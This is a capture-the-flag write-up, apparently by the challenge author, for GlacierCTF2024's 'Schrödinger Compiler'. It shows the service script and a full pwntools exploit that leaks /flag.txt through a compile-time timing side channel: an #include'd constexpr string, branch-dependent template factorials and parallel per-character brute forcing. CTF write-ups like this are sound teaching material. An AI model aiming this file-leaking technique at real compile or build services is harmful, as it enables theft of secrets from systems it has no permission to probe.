GlacierCTF2024 - Schrödinger Compiler

Author: Ernesto Martínez García

Tags: misc ctf

Schrödinger Compiler is a C++ compiler related challenge I authored in GlacierCTF2024. It had 19 solves 3h before the end of the 24h CTF. It categorizes in the medium side of the challenges.

You have the original CTFd distfile with a locally deployable version in [1]

The challenge is jailed per connection and has the following behaviour:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/sh

echo "[+] Welcome to the Schrödinger Compiler"
echo "[+] We definitely don't have a flag in /flag.txt"
echo "[+] Timeout is 3 seconds, you can run it locally with deploy.sh"

echo ""

echo "[+] Submit the base64 (EOF with a '@') of a .tar.gz compressed "
echo "    .cpp file and we'll compile it for you"
echo "[+] Example: tar cz main.cpp | base64 ; echo "@""
echo "[>] --- BASE64 INPUT START ---"
read -d @ FILE
echo "[>] --- BASE64 INPUT END ---"

DIR=$(mktemp -d)
cd ${DIR} &> /dev/null
echo "${FILE}" | base64 -d 2>/dev/null | tar -xzO > main.cpp 2> /dev/null
echo "[+] Compiling with g++ main.cpp &> /dev/null"
g++ main.cpp &> /dev/null
# ./main
# oops we fogot to run it
echo "[+] Bye, it was a pleasure! Come back soon!"

It basically receives a tarfile of a main.cpp, compiles with no output and returns.

In the description we get that the flag can contain the following characters:

1
chars = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_{}"

The interesting part of the challenge is that the compiler has no output. If it had output you could cause an error by including /flag.txt and get the output. Maybe that could have been an easier intro version of this challenge :)

As we get the flag characters, this leads us in the direction of an online bruteforcing challenge.

How to setup a bruteforcing oracle? Well, C++ constexpr!

flag.txt in the distributed file is:

1
2
[ecomaikgolf@laptop ../schrodinger-compiler/solution/]$ cat flag-fake.txt 
"gctf{0000_FAKE_fake_FAKE_fake_FAKE_0000}"

We can include it as a constexpr std::string_view:

1
2
3
4
#include <string>

static constexpr std::string_view flag = 
#include "/flag.txt"

With this constexpr variable, we can perform constexpr if-else :)

1
2
3
4
5
6
7
8
template <char CHR, char POS>
constexpr void check(void) {
  if constexpr (CHR == flag[POS]) {

  } else {

  }
}

now we can make the compile branch between a correct and an incorrect flag character.

The next step is what can we put in the branches that tells us indirectly which branch we took. Again, the answer is… constexpr factorials!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
template <>
constexpr long long ct_factorial<0>()
{
    return 1;
}

template <char CHR, char POS>
constexpr void check(void) {
  if constexpr (CHR == flag[POS]) {
    static_assert(true);
  } else {
    ct_factorial<800>();
  }
}

We can make the compiler calculate a factorial if the branch is a false, or inmediatly return if its a true.

For the factorial function you can just do a bunch of factorials (as there’s a compiler maximum function recursion):

1
2
3
4
5
6
template <long long N>
constexpr long long ct_factorial()
{
  auto a1 = N * ct_factorial<N - 1>();
  // ...
}

we pack this primitive into an script and we wait a bit for the flag :)

Full exploit file:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
#!/usr/bin/env -S python3 -u
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host localhost --port 1337
from pwn import *
import re
import os

from concurrent.futures import ProcessPoolExecutor
from concurrent.futures import as_completed

# Set up pwntools for the correct architecture
# Just set TERM_PROGRAM in your ~/.profile!
# context.update(terminal='CHANGEME')
exe = (args.EXE or 'challenge')
host = args.HOST or 'localhost'
port = int(args.PORT or 1337)

# Find flag by exact match or format
# log.success(find_flag(io.recvall()))
real_flag = open("./flag.txt", "r").readline().strip()
fake_flag = open("./flag-fake.txt", "r").readline().strip()
def find_flag(output):
    if not isinstance(output, str):
        output = output.decode(errors="ignore")
    # Match real flag
    if real_flag in output:
        return real_flag
    # Match fake flag
    if fake_flag in output:
        return fake_flag
    # Match possible local flag
    with open("/flag.txt", "r") as local:
        locl_flag = local.readline().strip()
        if locl_flag in output:
            return locl_flag
    # Match regexp flag
    r = find_flag_fmt(output)
    if r is not None:
        return r
    # Definitely no flag found
    return None

# Find flag by format
# log.success(find_flag_fmt(io.recvall()))
ffmt = re.compile(r"gctf{.*}")
def find_flag_fmt(output):
    if not isinstance(output, str):
        output = output.decode(errors="ignore")
    m = ffmt.search(output)
    if m is None:
        return None
    return m.group(0)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    return process([exe] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

MAGIC_STUFF=R"""
#include <string>

static constexpr std::string_view flag = 
#include "/flag.txt"
;

template <long long N>
constexpr long long ct_factorial()
{
  // Honestly the compiler could have optimized almost all of them, I didn't 
  // bother fixing it as it worked
  auto a1 = N * ct_factorial<N - 1>();
  auto a2 = N * ct_factorial<N - 1>();
  auto a3 = N * ct_factorial<N - 1>();
  auto a4 = N * ct_factorial<N - 1>();
  auto a5 = N * ct_factorial<N - 1>();
  auto a6 = N * ct_factorial<N - 1>();
  auto a7 = N * ct_factorial<N - 1>();
  auto a8 = N * ct_factorial<N - 1>();
  auto a9 = N * ct_factorial<N - 1>();
  auto a10 = N * ct_factorial<N - 1>();
  auto a11 = N * ct_factorial<N - 1>();
  auto a12 = N * ct_factorial<N - 1>();
  auto a13 = N * ct_factorial<N - 1>();
  auto a14 = N * ct_factorial<N - 1>();
  auto a15 = N * ct_factorial<N - 1>();
  auto a16 = N * ct_factorial<N - 1>();
  auto a17 = N * ct_factorial<N - 1>();
  auto a18 = N * ct_factorial<N - 1>();
  auto a19 = N * ct_factorial<N - 1>();
  auto a20 = N * ct_factorial<N - 1>();
  auto a21 = N * ct_factorial<N - 1>();
  auto a22 = N * ct_factorial<N - 1>();
  auto a23 = N * ct_factorial<N - 1>();
  auto a24 = N * ct_factorial<N - 1>();
  auto a25 = N * ct_factorial<N - 1>();
  auto a26 = N * ct_factorial<N - 1>();
  auto a27 = N * ct_factorial<N - 1>();
  auto a28 = N * ct_factorial<N - 1>();
  auto a29 = N * ct_factorial<N - 1>();
  auto a30 = N * ct_factorial<N - 1>();
  auto a31 = N * ct_factorial<N - 1>();
  auto a32 = N * ct_factorial<N - 1>();
  auto a33 = N * ct_factorial<N - 1>();
  auto a34 = N * ct_factorial<N - 1>();
  auto a35 = N * ct_factorial<N - 1>();
  auto a36 = N * ct_factorial<N - 1>();
  auto a37 = N * ct_factorial<N - 1>();
  auto a38 = N * ct_factorial<N - 1>();
  auto a39 = N * ct_factorial<N - 1>();
  auto a40 = N * ct_factorial<N - 1>();
  auto a41 = N * ct_factorial<N - 1>();
  auto a42 = N * ct_factorial<N - 1>();
  auto a43 = N * ct_factorial<N - 1>();
  auto a44 = N * ct_factorial<N - 1>();
  auto a45 = N * ct_factorial<N - 1>();
  auto a46 = N * ct_factorial<N - 1>();
  auto a47 = N * ct_factorial<N - 1>();
  auto a48 = N * ct_factorial<N - 1>();
  auto a49 = N * ct_factorial<N - 1>();
  auto a50 = N * ct_factorial<N - 1>();
  auto a51 = N * ct_factorial<N - 1>();
  auto a52 = N * ct_factorial<N - 1>();
  auto a53 = N * ct_factorial<N - 1>();
  auto a54 = N * ct_factorial<N - 1>();
  auto a55 = N * ct_factorial<N - 1>();
  auto a56 = N * ct_factorial<N - 1>();
  auto a57 = N * ct_factorial<N - 1>();
  auto a58 = N * ct_factorial<N - 1>();
  auto a59 = N * ct_factorial<N - 1>();
  auto a60 = N * ct_factorial<N - 1>();
  auto a61 = N * ct_factorial<N - 1>();
  auto a62 = N * ct_factorial<N - 1>();
  auto a63 = N * ct_factorial<N - 1>();
  auto a64 = N * ct_factorial<N - 1>();
  auto a65 = N * ct_factorial<N - 1>();
  auto a66 = N * ct_factorial<N - 1>();
  auto a67 = N * ct_factorial<N - 1>();
  auto a68 = N * ct_factorial<N - 1>();
  auto a69 = N * ct_factorial<N - 1>();
  auto a70 = N * ct_factorial<N - 1>();
  auto a71 = N * ct_factorial<N - 1>();
  auto a72 = N * ct_factorial<N - 1>();
  auto a73 = N * ct_factorial<N - 1>();
  auto a74 = N * ct_factorial<N - 1>();
  auto a75 = N * ct_factorial<N - 1>();
  auto a76 = N * ct_factorial<N - 1>();
  auto a77 = N * ct_factorial<N - 1>();
  auto a78 = N * ct_factorial<N - 1>();
  auto a79 = N * ct_factorial<N - 1>();
  auto a80 = N * ct_factorial<N - 1>();
  auto a81 = N * ct_factorial<N - 1>();
  auto a82 = N * ct_factorial<N - 1>();
  auto a83 = N * ct_factorial<N - 1>();
  auto a84 = N * ct_factorial<N - 1>();
  auto a85 = N * ct_factorial<N - 1>();
  auto a86 = N * ct_factorial<N - 1>();
  auto a87 = N * ct_factorial<N - 1>();
  auto a88 = N * ct_factorial<N - 1>();
  auto a89 = N * ct_factorial<N - 1>();
  auto a90 = N * ct_factorial<N - 1>();
  auto a91 = N * ct_factorial<N - 1>();
  auto a92 = N * ct_factorial<N - 1>();
  auto a93 = N * ct_factorial<N - 1>();
  auto a94 = N * ct_factorial<N - 1>();
  auto a95 = N * ct_factorial<N - 1>();
  auto a96 = N * ct_factorial<N - 1>();
  auto a97 = N * ct_factorial<N - 1>();
  auto a98 = N * ct_factorial<N - 1>();
  auto a99 = N * ct_factorial<N - 1>();
  return a99; // Rest could be optimized ¿?
}

template <>
constexpr long long ct_factorial<0>()
{
    return 1;
}

template <char CHR, char POS>
constexpr void check(void) {
  if constexpr (CHR == flag[POS]) {
    static_assert(true);
  } else {
    ct_factorial<800>();
  }
}

"""

# Recovered flag
flag = ""

def check_value_pos(val):
    context.log_level = 'warn'

    i    = val[0]
    char = val[1]

    PARAM = "int main() { check<" + str(ord(char)) + "," + str(i) + ">(); }\n"
    payload = MAGIC_STUFF + PARAM

    # I was getting trolled by python's tar + multithreading so bash it is XD
    # I know this is horrible but idc
    payload = os.popen(f"cd $(mktemp -d) && echo \'{payload}\' > main.cpp && tar cz main.cpp | base64 ; echo \"@\"").read().strip()

    remote = start()
    remote.sendlineafter(b"[>] --- BASE64 INPUT START ---", payload.encode())

    d = remote.recvuntil(b"[+] Bye, it was a pleasure! Come back soon!",timeout=1).decode()

    if d != '':
        return char
    else:
        remote.close()
        return None

# Possible characters per position
chars = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_{}"

i = 0
while True:

    # If we missed a char ignore and restart bruteforcing that position
    if i != len(flag):
        i = i - 1

    log.warn(f'Bruteforcing position {i}')

    res = []
    with ProcessPoolExecutor(8) as exe:
        futures = [exe.submit(check_value_pos, (i,char,)) for char in chars]
        for future in as_completed(futures):
            result = future.result()
            if(result != None):
                flag += result
                log.warn(flag)
                exe.shutdown(wait=False, cancel_futures=True)
                if(result == '}'):
                    r = find_flag(result)
                    if(r is not None):
                        log.success(r)
                        exit(0)
                    else:
                        exit(1)
                break

    i += 1

# This is a timing side channel, it will fail just if it timeouts. If it can't
# find it it will keep trying from the start
exit(1)

[1] https://ls.ecomaikgolf.com/archives/glacierctf2024/schrodinger-compiler.tar.gz